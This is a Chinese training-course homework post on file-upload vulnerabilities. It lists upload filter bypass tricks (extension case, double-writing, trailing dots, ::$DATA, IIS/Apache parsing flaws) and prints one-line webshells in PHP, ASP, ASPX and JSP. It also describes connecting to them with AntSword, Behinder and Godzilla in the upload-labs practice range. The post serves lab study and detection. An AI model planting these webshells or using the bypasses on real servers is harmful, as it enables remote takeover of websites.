网安实训第七日作业

一、文件上传防御手段及绕过手段总结

防御手段

  1.服务器端使用白名单防御

  2.修复 web 中间件的漏洞

  3.禁止客户端存在可控参数

  4.存放文件目录禁止脚本执行

  5.限制后缀名

绕过手段

1.前端JS判定绕过

1)利用F12对网页进行审计,把校验上传文件后缀名的JS文件的调用删除,即可继续上传。

2)利用burpsuite进行抓包处理,先将一句话的后缀改为jpg/png/gif三种文件后缀名的任意一种,绕过前端JS的判定,然后利用burpsuite抓包,在数据包中将其改回php/asp/jsp等可执行脚本文件,即可绕过前端JS判定的限制进行上传。

2.Contnet-Type 检测上传

抓包检查一下上传文件的Contnet-Type类型,将其改为服务器允许的类型。

3.黑名单绕过上传

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。

4.文件名大小写绕过

有些服务器在处理文件名时没有进行大小写统一处理,因此可以通过改变文件后缀名的大小写来绕过黑名单。

5.文件名后缀添加空格或点

在文件名未尾添加空格或点,某些服务器在处理时会忽略这些字符,从而允许上传原本被禁止的文件类型。

6.双写绕过

通过双写文件后缀名(如.pphphp),在服务器端处理时可能将中间的php替换为空,从而保留.php后缀,实现绕过。

7.利用服务器解析漏洞

1)IIS6.0解析漏洞:在lIS 6.0中,某些特定的文件后缀名(如.asp;、.asa、.cer、.cdx)在特定条件下会被当作ASP文件执行。攻击者可以利用这一漏洞,通过上传包含恶意代码的这类文件来绕过安全限制。
2)Apache解析漏洞:在Apache服务器中,通过上传.htaccess文件修改服务器配置,使特定类型的文件被当作PHP代码执行。此外,Apache在某些配置下可能会将包含.php.. .php5.等后缀的文件当作PHP代码执行。

8.利用Windows特性

在Windows系统中,文件名中的::$DATa会被系统忽略,因此可以通过在文件名中添加:∵$DATA来绕过文件名后缀的检查。

二、文件上传常用一句话木马总结

php:   <?php @eval($_POST['mbg']);?>

          <?php system($_GET['mbg']);?>
asp:   <%eval request ("mbg")%>
aspx: <%@ Page Language="Jscript"%>

          <%eval(Request.Item["mbg"],"unsafe");%>
jsp:    <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

三、三种webshell管理工具的使用方法

(演示使用该工具连接webshell及抓取流量包进行分析特征)

Antsword

安装过程
  1. 下载AntSword:
    • 访问AntSword的GitHub发布页面,下载适用于你操作系统的加载器(Loader)和项目核心源码(antsword)
    • 加载器通常提供Mac、Windows、Linux三个版本,根据你的操作系统选择合适的版本下载。
  1. 解压并初始化:
    • 解压下载的加载器压缩包。
    • 双击解压后的AntSword.exe进行初始化,选择一个核心源码作为项目核心源码的解压路径。
    • 初始化完成后,再次双击AntSword.exe启动蚁剑。
使用方法

这里使用一句话木马作为演示,路径http://127.0.0.1/webshell.php,密码shell

<?php @eval($_POST['shell']);?>

  1. 添加Webshell
    • 打开蚁剑,右键点击界面空白处,选择“添加数据”。
    • 在弹出的窗口中,输入Webshell的地址(即上传的木马文件在服务器上的URL)和密码,点击“添加”。
    • 测试连接,看是否成功。
  1. 连接Webshell
    • 连接成功后,双击列表中的Webshell条目,即可进入文件管理、虚拟终端等界面。
  1. 抓取流量包
    • 蚁剑本身不提供直接的流量抓取功能,但你可以通过系统工具(如Burp suite)在连接Webshell的过程中抓取网络数据包进行分析。
    • 在抓取流量时,注意过滤掉不相关的数据包,只关注与Webshell交互的流量。

Godzila

生成一句话木马

Behinder

安装过程
  1. 下载Behinder
  • 访问Behinder的GitHub发布页面(下载链接)或Gitee页面(另一下载链接),下载最新版本的Behinder压缩包。
  • 注意:Behinder是Java开发的,因此确保你的系统已安装Java环境(JDK 6-8或更高版本,具体取决于Behinder版本要求)。
  1. 解压并启动
  • 解压下载的Behinder压缩包。
  • 双击解压后的Behinder.jar文件启动Behinder。
使用方法
  1. 生成Webshell
  • 在Behinder界面中,找到并点击“生成”按钮,选择合适的脚本类型(如PHP、ASP等)和加密方式,生成Webshell文件。
  1. 上传并配置Webshell
  • 将生成的Webshell文件上传到目标服务器。
  • 在Behinder中,右键点击界面空白处,选择“新增”或类似选项,输入Webshell的URL和密码(如果是自定义的Webshell,需要知道密码;如果是Behinder自带的,密码一般在生成时给出)。
  1. 连接Webshell
  • 点击“连接”或双击列表中的Webshell条目,进入文件管理、命令执行等界面。
  1. 抓取流量包
  • 使用Burp Suite等工具抓取网络数据包,分析Behinder与Webshell交互的流量特征。

四、文件上传无回

显如何查找webshell地址

(演示使用该工具连接webshell及抓取流量包进行分析特征)

1. 审查Web服务器日志

  • 访问日志:检查Web服务器的访问日志,特别是与文件上传功能相关的请求。注意任何异常的文件访问请求,这可能指向Webshell的尝试执行。
  • 错误日志:检查错误日志以查找与文件上传或执行相关的错误消息。这些错误可能暗示了Webshell的存在或尝试。

2. 使用Webshell检测工具

  • 自动化扫描工具:利用如D盾、河马等Webshell查杀工具进行扫描。这些工具可以识别并报告服务器上已知的Webshell文件。
  • 在线扫描服务:有些在线服务提供Webshell扫描功能,可以提交网站URL进行扫描,以查找潜在的Webshell文件。

3. 审查文件系统和目录权限

  • 检查异常文件:手动检查网站目录中是否有异常的文件,特别是那些名称或内容看似恶意的文件。
  • 权限分析:分析文件和目录的权限设置,查找任何不寻常的权限配置,这可能表明存在被恶意利用的风险。

4. 监控网络流量

  • 网络抓包:使用网络抓包工具(如Wireshark)监控网络流量,特别是与文件上传功能相关的流量。分析这些数据包以查找任何异常活动。
  • 流量分析:如果可能的话,分析通过防火墙或入侵检测系统的网络流量日志,以查找与Webshell通信相关的模式或异常。

5. 审查应用程序代码

  • 代码审计:对网站的应用程序代码进行审计,特别是与文件上传相关的部分。查找任何可能导致安全漏洞的代码段,并修复它们。
  • 更新和补丁:确保所有应用程序、中间件和操作系统都已更新到最新版本,并应用了所有相关的安全补丁。

五、文件上传表单的无参/有参情况下构造表单 

无参情况

在无参情况下,文件上传表单可能不需要除文件本身以外的其他输入字段。

<form action="upload.php" method="post" enctype="multipart/form-data">  
    <input type="file" name="uploadedFile">  
    <input type="submit" value="Upload">  
</form>

有参情况

在有参情况下,文件上传表单除了文件输入字段外,还可能包含其他输入字段,用于收集额外的信息,如用户名、描述等。

<form action="upload.php" method="post" enctype="multipart/form-data">  
    <label for="username">Username:</label>  
    <input type="text" id="username" name="username">
    
    <label for="description">File Description:</label>  
    <textarea id="description" name="description"></textarea>
    
    <label for="uploadedFile">Select file to upload:</label>  
    <input type="file" id="uploadedFile" name="uploadedFile">  
    
    <input type="submit" value="Upload File">  
</form>

六、upload-labs靶场通关第6-10关

第6关

查看页面源代码

使用BurpSuite进行拦截,并修改报文PHP

文件上传成功

获取图片url,使用Godzilla进行连接

第7关

查看页面源代码

使用BurpSuite进行拦截,并修改报文php 

文件上传成功

获取图片url,使用Godzilla进行连接

第8关

查看页面源代码

使用BurpSuite进行拦截,并修改报文php. 

文件上传成功

获取图片url,使用Godzilla进行连接

第9关

查看页面源代码

使用BurpSuite进行拦截,并修改报文php::$data

文件上传成功

获取图片url,使用Godzilla进行连接

第10关

查看页面源代码

使用BurpSuite进行拦截,并修改报文php. .

文件上传成功

获取图片url,使用Godzilla进行连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值